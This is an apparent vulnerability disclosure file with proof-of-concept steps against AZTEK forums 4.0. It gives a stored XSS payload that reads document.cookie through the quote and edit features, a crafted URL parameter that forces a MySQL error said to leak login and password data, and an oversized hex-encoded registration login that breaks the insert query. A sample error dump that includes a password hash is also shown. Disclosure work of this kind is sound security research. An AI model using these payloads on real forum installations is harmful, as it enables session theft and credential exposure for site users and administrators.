aztek40.txt

`/*==========================================*/  
// AZTEK forums 4.0 multiple vulnerabilities (PoC)  
// Product: AZTEK forums  
// URL: http://www.forum-aztek.com/  
// RISK: high  
/*==========================================*/  
  
[PoC]  
  
1- XSS  
- Post a message including the following line:  
</textarea>'"><script>alert(document.cookie)</script>  
  
- Valid.  
- Click on "Citer" to execute the script.  
  
You can also do it with the edit button (after loging in).  
  
2-   
Do the following request :  
http://SOME_HOST/forum/index.php?msg=*/*  
  
It will dump a MySQL error message which can dump login:pw infos.  
  
3-   
- Register with :  
login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65   
70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61   
72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20   
5b 3c 61 20 68 72 65 66 3d 27 66 75   
[...a huge login name...]  
6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66   
75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e  
passwd:blabla  
email:[email protected]  
- Valid.  
  
This form is not validated at all, so it can cause a MySQL error like :  
  
Mysql error in file /home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in   
function subscribe at line 222  
  
Mysql query error :   
INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)   
VALUES ('6b 66 73 6a 64 61 20 54 50 68 [...]','admin','atHax4CLQE42Q','[email protected]','1','1','1141202540')  
  
Please note this error and contact your administrator.  
  
--  
PoC by lorenzo [GHT], http://ght.c.la/  
`